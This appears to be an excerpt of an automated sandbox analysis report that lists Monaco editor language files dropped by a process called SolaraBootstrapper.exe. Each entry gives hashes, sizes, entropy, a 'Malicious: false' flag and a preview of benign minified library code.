SSDEEP:	48:pQFDHn43tZRsumU+/EVHg+2rQ6MnQn11nWn6b0V1+/mQgTCFd1KhMmVZUbF+WwSo:pQFDHnYRsM+/EeRraY1JKBV1+/mQKIzg
MD5:	EF8BA0EA3AE910695528D18376C8951C
SHA1:	EADBA0FEE009E89CDF57CBE2AFC8A66683399776
SHA-256:	8EB1690C57D0F458D66E89A57E2ABA95E6375EE9FEF3E7AB5ECA9FFA0B3EAB7D
SHA-512:	32B51088DC171F4255C4EA44AE9A9BB67628ED37437E848106420C35501066F1E3EA8AF8295A3F949959D565D7388744E35BD76530621E1A0591A4BEDC8DB46F
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/flow9/flow9", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var t in e)s(o,t,{get:e[t],enumerable:!0})},m=(o,e,t,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of a(e))!l.call(o,n)&&n!==t&&s(o,n,{get:()=>e[n],enumerable:!(i=r(e,n))\|\|i.enumerable});return o};var p=o=>m(s({},"__esModule",{value:!0}),o);var u={};c(u,{conf:()=>g,language:()=>f});var g={comments:{blockComment:["/","/"],line

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\freemarker2\freemarker2.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (13644)
Category:	dropped
Size (bytes):	17189
Entropy (8bit):	5.52256186558295
Encrypted:	false
SSDEEP:	192:G9YRwoBu4Tu4MhBDPfFSNki1bfqpi+R/MFxHaMRhoeStMvcqgjj0y0+gblJvsqjd:Ggu4Tu4MnfFuki5fsi+OLHu5usqjd
MD5:	7D11611975C17C851783E146DDAA9085
SHA1:	C63D19E6599D7CCCA45C89DB1B71B76B6EA9E67B
SHA-256:	454CE0EB30379A348562CBD10B361EA37DCD787E144F9EABB05F977A01C1996F
SHA-512:	F11622EEF9042B5B151C10F765F1DD0DD212D429B8073F25CBFB23C6B2D297ECC489BD55AC5784735447F4DA75FEDD83343D49DDC31726DCE4F42B519785394D
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/freemarker2/freemarker2", ["require","require"],(require)=>{.var moduleExports=(()=>{var B=Object.create;var d=Object.defineProperty;var C=Object.getOwnPropertyDescriptor;var D=Object.getOwnPropertyNames;var T=Object.getPrototypeOf,v=Object.prototype.hasOwnProperty;var w=(t=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(t,{get:(n,i)=>(typeof require!="undefined"?require:n)[i]}):t)(function(t){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+t+'" is not supported')});var h=(t,n)=>()=>(

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\fsharp\fsharp.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3305)
Category:	dropped
Size (bytes):	3810
Entropy (8bit):	5.293056647445291
Encrypted:	false
SSDEEP:	96:pQFDHnYRssQ+/ErryV1+IV1+/P6dL4a5Ag7xwGGBdFXhM:G9YZurOjYcsgFaRM
MD5:	00B4EF63492498C77FE94756722C677E
SHA1:	CB23E1FA4567E7F5E02C13FE52FDBDCF766B97C2
SHA-256:	2E6B617140B6D195F890488759776DA4071506F27AC5719C1EE2F8EC5FFD0EE5
SHA-512:	044BD6B2FD88F075D68166881DB86C90D9B35D74ED646BB50927D7B0A8F0820EEA9009490BABD683832EFC44AF9F917B8DCAD2CB0602E43DE7EED8077C170862
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/fsharp/fsharp", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(n,e)=>{for(var o in e)s(n,o,{get:e[o],enumerable:!0})},g=(n,e,o,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of a(e))!l.call(n,t)&&t!==o&&s(n,t,{get:()=>e[t],enumerable:!(i=r(e,t))\|\|i.enumerable});return n};var f=n=>g(s({},"__esModule",{value:!0}),n);var d={};c(d,{conf:()=>m,language:()=>u});var m={comments:{lineComment:"//",blockComme

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\go\go.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2979)
Category:	dropped
Size (bytes):	3476
Entropy (8bit):	5.3108132560576715
Encrypted:	false
SSDEEP:	96:pQFDHnYRs9+/EnarbV1+OK6V1+j/X6LKMAnuLfb6j79wGcmDRBmM:G9YuarT/NQuqpiUz
MD5:	AE78759C0ACCDC96A28A982AFCEDCBFB
SHA1:	0CC65DE836EF180B910B547619E708FC763F8412
SHA-256:	EA2D2E46F02FAF4D44B95E07713F5784588A4223C218F75C12820EDA16EB1B27
SHA-512:	60EF93A60B1A202C894F9C7A5F692761C03758EF62149D363327992E2E15BC925DE858E68D609DBB895DE72617EC04F9EA7AF14F4BDF6B03F9C75C0EC47FF98B
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/go/go", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var m=(n,e)=>{for(var t in e)s(n,t,{get:e[t],enumerable:!0})},l=(n,e,t,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of a(e))!c.call(n,o)&&o!==t&&s(n,o,{get:()=>e[o],enumerable:!(r=i(e,o))\|\|r.enumerable});return n};var g=n=>l(s({},"__esModule",{value:!0}),n);var d={};m(d,{conf:()=>p,language:()=>u});var p={comments:{lineComment:"//",blockComment:["/*"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\graphql\graphql.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2582)
Category:	dropped
Size (bytes):	3089
Entropy (8bit):	5.523286773949331
Encrypted:	false
SSDEEP:	96:pQFDHnYRs3e+/EJsmV1+0qGV1+XI7fojagGn8p:G9YuNiRfLy
MD5:	7286A9AE1920C07990495E4C7E5F7E91
SHA1:	16CE86B2082EDF389B67B01A7E31CDE2F2576C42
SHA-256:	C937A21620654373DA4D87B9E2F20CBCA1C02906D05F53DDE5E41FE737DEE930
SHA-512:	A99EA0E80FF4A5870733DD10407882A526DA0CE93A68CAED4C33AE17E75A290224138A209F2CE1B587D2F2B771D0FA4D829B2CE8BC76F0DC8355E1FAE3B06A05
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/graphql/graphql", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(n,e)=>{for(var t in e)s(n,t,{get:e[t],enumerable:!0})},d=(n,e,t,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of i(e))!l.call(n,o)&&o!==t&&s(n,o,{get:()=>e[o],enumerable:!(r=a(e,o))\|\|r.enumerable});return n};var p=n=>d(s({},"__esModule",{value:!0}),n);var u={};c(u,{conf:()=>g,language:()=>I});var g={comments:{lineComment:"#"},brackets

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\handlebars\handlebars.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (7354)
Category:	dropped
Size (bytes):	7867
Entropy (8bit):	5.363674212110662
Encrypted:	false
SSDEEP:	192:G9Y1JAtC+U+nBQld2BZ1x0p4OE60+dMZLDJ:GeJAtCHyxePlb2DJ
MD5:	970D86FA036850C5BC3B92FAED3CC392
SHA1:	DBDC65D05EEA7B95A3599875E8D71FEA0A80F264
SHA-256:	E17FF28CFDA2D8306C9E74394D67329A6FA98D696AF08F66B9E7B42E87971CC0
SHA-512:	8457F6DE555AE295CC918A55D469978D47D5D96B33B726F2C71A3DA71EE1B11E89AA40A1F433269667424D9DE3CD368699D9BE56B489AFCC372E772E26604ACA
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/handlebars/handlebars", ["require","require"],(require)=>{.var moduleExports=(()=>{var h=Object.create;var i=Object.defineProperty;var b=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,k=Object.prototype.hasOwnProperty;var y=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,n)=>(typeof require!="undefined"?require:t)[n]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var T=(e,t)=>()=>(t\|

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\hcl\hcl.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3912)
Category:	dropped
Size (bytes):	4411
Entropy (8bit):	5.371544690251042
Encrypted:	false
SSDEEP:	96:pQFDHnYRsU+/ErLoQV1+VV1+eOGo15nb6IMn8BqTgMZiGfACnlawG8J2LHEFkQ:G9YVLo4c6GupM8MzYCnlaTjc
MD5:	557F27EDE3950BCAC0EE6931E40D4D60
SHA1:	5C8A59C010E7592603F99C7B72E32AB093FFA802
SHA-256:	20E7B4AE616A398D20BF97A25F773DF9D4D56C5008717BE2F29C21A37F4BDB2B
SHA-512:	B5ACC9FFE6F6795C2F0D8DFBF87DC7DF6601AB96C61B16736B44A6820041204DDAE6ADCA65361CFD2F41789D05A26AD9DB4BC64B0D9365A6AF8F50EAABCE6529
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/hcl/hcl", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var o in e)r(t,o,{get:e[o],enumerable:!0})},d=(t,e,o,n)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let s of i(e))!c.call(t,s)&&s!==o&&r(t,s,{get:()=>e[s],enumerable:!(n=a(e,s))\|\|n.enumerable});return t};var m=t=>d(r({},"__esModule",{value:!0}),t);var f={};l(f,{conf:()=>p,language:()=>g});var p={comments:{lineComment:"#",blockComment:["/*

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\html\html.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (5594)
Category:	dropped
Size (bytes):	6095
Entropy (8bit):	5.390237052992852
Encrypted:	false
SSDEEP:	96:pQFDHnYRsEBlGV//sgwYI3vV1+/6mQVV1+7BXBGl0GSytHd6EHaK4T6ETYmYS6EA:G9YXAin3n+4Qlgl0GSytHLaK45P8cKMg
MD5:	A0839B694D3BE2826C7AD706B9F7C105
SHA1:	306CAC34E9CEA93B9F0934A605D066C64E634D1B
SHA-256:	2213B2419FEFEC449189CCD7ADA6E444FC0AE9325F53D77F27BE916DD82ED522
SHA-512:	71C7F104576F2B495CF8CCEE129A44131C6D20F8E97AFC48EE942CC5507A6731BDD86FB4D04BA5736F54EA321F06F8D6BB37F14C80F7B25C58441332396FD6A3
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/html/html", ["require","require"],(require)=>{.var moduleExports=(()=>{var u=Object.create;var a=Object.defineProperty;var b=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var y=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var k=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,n)=>(typeof require!="undefined"?require:t)[n]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var E=(e,t)=>()=>(t\|\|e((t={expor

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\ini\ini.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (1423)
Category:	dropped
Size (bytes):	1922
Entropy (8bit):	5.394736650402756
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRsF6tk+/EAy6+eu0V1+/n0V1+/AB60K:pQFDHnYRsF6tk+/ERbmV1+/0V1+/Ag3
MD5:	3FE8B523BBEB47087B0CEB9B89F94F69
SHA1:	64798C8CA02212ADA0346D07C27E678439633055
SHA-256:	3D888E02D0B0CED0EE1464E307D7689653ECE70553C17BC4F0325C436F033E9B
SHA-512:	AB476CE5F0FD19E87137E33BFBAEC06517B0BD039223FB7D4F619D2702A587BC59CE646252B8C43DF5E34561E08ED5B493119946F8EAB51CADB11C7CC18F410A
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/ini/ini", ["require","require"],(require)=>{.var moduleExports=(()=>{var t=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var g=Object.prototype.hasOwnProperty;var c=(n,e)=>{for(var s in e)t(n,s,{get:e[s],enumerable:!0})},l=(n,e,s,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of r(e))!g.call(n,o)&&o!==s&&t(n,o,{get:()=>e[o],enumerable:!(a=i(e,o))\|\|a.enumerable});return n};var p=n=>l(t({},"__esModule",{value:!0}),n);var f={};c(f,{conf:()=>u,language:()=>m});var u={comments:{lineComment:"#"},brackets:[["{","

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\java\java.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3543)
Category:	dropped
Size (bytes):	4044
Entropy (8bit):	5.362534459264137
Encrypted:	false
SSDEEP:	96:pQFDHnYRsO+/EYx+rbV1+/0V1+/mQqZ4SgLhb67g71wGcaRW8P:G9Y6+rTx1SSgLBZiaf
MD5:	96443484AA667722DB07542BD0DC6F81
SHA1:	C9F5F02401A2370BB52A784A1C4470A7F0F413F6
SHA-256:	EE57D3885B119A5585180CAA2C26498BF6E6640B10481DC9677B7610198C4E2E
SHA-512:	46F69516C4254CF50B26A3E7C92BE4288AF83ED25EE9A5B7649502CD916BC8069AE8C4C04EDE54D1BFC5599807E817F5726C78AC65EDEA5EA5D7A61C52DA8221
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/java/java", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},d=(t,e,o,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of r(e))!c.call(t,n)&&n!==o&&s(t,n,{get:()=>e[n],enumerable:!(i=a(e,n))\|\|i.enumerable});return t};var g=t=>d(s({},"__esModule",{value:!0}),t);var f={};l(f,{conf:()=>m,language:()=>p});var m={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\#\%

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\javascript\javascript.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (6664)
Category:	dropped
Size (bytes):	7177
Entropy (8bit):	5.340697066386712
Encrypted:	false
SSDEEP:	96:pQFDHnYRsv6V//wZM4hFnx+rzmEmSLV1+KgqIqRnytBGMBb6IoxxwpcaxuSWlYTZ:G9Y/shb+rSBy10SdFSWl4eY1LV
MD5:	C28332134B3A1E3A81621E08888D1C23
SHA1:	0A79894F59E8224E1FFD4C1431ED6306CCAAE5A5
SHA-256:	E7276C9E1382AEBB07C75F6F62D52F7DF17DDB06ECED55CBF2B6F0BE6B22B113
SHA-512:	04A7A563381896C8B044690C9675DE87AA1377BAACB43E7EBC36853B66AF35F2F9156E33237FD16990E8B0FFD6F40961A7C97D47B3F404C78BD22EFDAEA6FF93
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/javascript/javascript", ["require","require"],(require)=>{.var moduleExports=(()=>{var x=Object.create;var a=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var b=Object.getPrototypeOf,k=Object.prototype.hasOwnProperty;var y=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,n)=>(typeof require!="undefined"?require:t)[n]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var w=(e,t)=>()=>(t\|

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\julia\julia.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (7546)
Category:	dropped
Size (bytes):	8052
Entropy (8bit):	5.342203477681667
Encrypted:	false
SSDEEP:	192:G9Y0ooxSTTPkomoXGZ8OBcgbmUkZYugpp9:GFxu1GZ8Oqgbhkw5
MD5:	B0ABF2D2AEDA11C1C55188E8937348BB
SHA1:	64F42B91D855145954572DA2870337FE549DF86D
SHA-256:	763D2D709CC767AEBB86D7F47E094A2FF0EC6C2FF20DB746087DA25F5793CF1B
SHA-512:	0C4DDF9BE69E98B430E06501F435FF3DB7AE13CC7BDA69A4F5A5AF888635B78BAC82F3D5D85058496689B88BE78EC5E2042E865B8B18309B3EBD488376FEF04C
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/julia/julia", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var p=Object.prototype.hasOwnProperty;var c=(t,e)=>{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},l=(t,e,n,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let r of s(e))!p.call(t,r)&&r!==n&&o(t,r,{get:()=>e[r],enumerable:!(a=i(e,r))\|\|a.enumerable});return t};var d=t=>l(o({},"__esModule",{value:!0}),t);var u={};c(u,{conf:()=>g,language:()=>m});var g={brackets:[["{","}"],["[","]"],["(",")"]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\kotlin\kotlin.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3761)
Category:	dropped
Size (bytes):	4266
Entropy (8bit):	5.3176292410340915
Encrypted:	false
SSDEEP:	96:pQFDHnYRsY+/Ewx+rbV1+/0V1+/mQfbKg2fOjb6wg71wGcaRD8P:G9Yo+rTx1ke3ZiaI
MD5:	3B3DF48820FA9BABB28073503DE74C42
SHA1:	9B979531E998FE5F4EC23732F586D08ADFB66F7B
SHA-256:	E4820FCF63E4C464499AAB40FF948027987E1484A045A91741BBA480FC71D687
SHA-512:	B4F8635360CD8CAA8BF8ECE159EAFC5E9A49CB69FE4B51778EBA4FD1302195512C28123FC7A77D29E47026CE4E6BFAD68AA11160B17C8E6847EEDA1BCADF232E
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/kotlin/kotlin", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(n,e)=>{for(var i in e)o(n,i,{get:e[i],enumerable:!0})},d=(n,e,i,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of r(e))!c.call(n,t)&&t!==i&&o(n,t,{get:()=>e[t],enumerable:!(s=a(e,t))\|\|s.enumerable});return n};var g=n=>d(o({},"__esModule",{value:!0}),n);var f={};l(f,{conf:()=>m,language:()=>p});var m={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\less\less.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2868)
Category:	dropped
Size (bytes):	4721
Entropy (8bit):	5.346231459881856
Encrypted:	false
SSDEEP:	96:pQFDHnYRsZIK+/E86rMq+q17qcq6V1+/e+ufj1cCzBbu/2nOgemmEuluHrraW4NR:G9Y0a6rr9auhlzBbu4OYDugqW4NUk
MD5:	ECCC0FDAF625D47363B445C514F7FFB1
SHA1:	EA58AA904E360B169978E16FED52596E71C5A25F
SHA-256:	291122062F89179DB9A9495490FA112AEB003B04CD68E51F34722E79FEC05188
SHA-512:	B271C0D4D8E0EA8A4CBDCBE3C4CB62B1F790FC184573E569A9B6D17E43BE2913E1DB88BBBDC3FFD9ACEC3AFA3BEC18BAEED7EC7B72CD63AD76E5F2BC8BA31959
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/less/less", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var d=(t,e)=>{for(var i in e)r(t,i,{get:e[i],enumerable:!0})},u=(t,e,i,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of a(e))!l.call(t,n)&&n!==i&&r(t,n,{get:()=>e[n],enumerable:!(o=s(e,n))\|\|o.enumerable});return t};var c=t=>u(r({},"__esModule",{value:!0}),t);var p={};d(p,{conf:()=>m,language:()=>g});var m={wordPattern:/(#?-?\d\.\d\w%?)\|([@#!.:]?

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\lexon\lexon.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2759)
Category:	dropped
Size (bytes):	3262
Entropy (8bit):	5.308125335507135
Encrypted:	false
SSDEEP:	96:pQFDHnYRs/P+/EXB6V1+/UV1+j/mQ4pEbOTX51wGKd3/r:G9YYfBm537FXfod3T
MD5:	6002B31F497EBA52A0C2A42A948ABCEF
SHA1:	32EFEE628A1AE1501D036242F7CDBF6525D2DFAA
SHA-256:	D55482FD3FFCCD1F243C9335DBC10504E0896EA0B27B9E5DB8BD129C1AAD8DD2
SHA-512:	A1732606345689706D7391646600801ABA0BA00E0E8DD10B1AAD06778860AC2769D1E8E14CF2F928AA5BE577C63243CDAF09A12DCE6EB105189D68F99DCB52C5
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/lexon/lexon", ["require","require"],(require)=>{.var moduleExports=(()=>{var n=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var i in e)n(t,i,{get:e[i],enumerable:!0})},p=(t,e,i,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of d(e))!a.call(t,o)&&o!==i&&n(t,o,{get:()=>e[o],enumerable:!(r=s(e,o))\|\|r.enumerable});return t};var c=t=>p(n({},"__esModule",{value:!0}),t);var k={};l(k,{conf:()=>m,language:()=>u});var m={comments:{lineComment:"COMMENT"},bracke

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\liquid\liquid.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (4540)
Category:	dropped
Size (bytes):	5045
Entropy (8bit):	5.356467049943116
Encrypted:	false
SSDEEP:	96:pQFDHnYRsVV//zFqF/V1+/I/MBTBEyXXdzAJSJJlW7a+AApDp:G9YoGS5myXX6Ajl4a+AAn
MD5:	03FF655521479E1B4E576776C5FF9D6A
SHA1:	463159A64BEED5648C995126FB2A892F020FFF9A
SHA-256:	CA01C2B1A36AB94E30542F3B936798B3B8D51C2BFC88789E416C26529E91D785
SHA-512:	B4B207FD48634378B0DECB9BF4708BC510653FA018A1F68DF167D917F7BDFDD3ED61E9F58712BC8E22E6FCCC12F17EABF54BEA36E7470A01FAD3B2912DE969DC
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/liquid/liquid", ["require","require"],(require)=>{.var moduleExports=(()=>{var p=Object.create;var a=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var w=Object.getOwnPropertyNames;var h=Object.getPrototypeOf,q=Object.prototype.hasOwnProperty;var f=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,i)=>(typeof require!="undefined"?require:t)[i]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var b=(e,t)=>()=>(t\|\|e((t={e

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\lua\lua.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2445)
Category:	dropped
Size (bytes):	2944
Entropy (8bit):	5.347423005039242
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRs4l+/EYHgUCl0V1+/n0V1+/OFdI/1cFswqb6jxFv7cuVfl20F:pQFDHnYRso+/EHUC6V1+/0V1+/6dIeM4
MD5:	82922FFBE64017A02786A0943E8382A3
SHA1:	1AC1BCAD8D21045F3208826D1F18E4350B0AE019
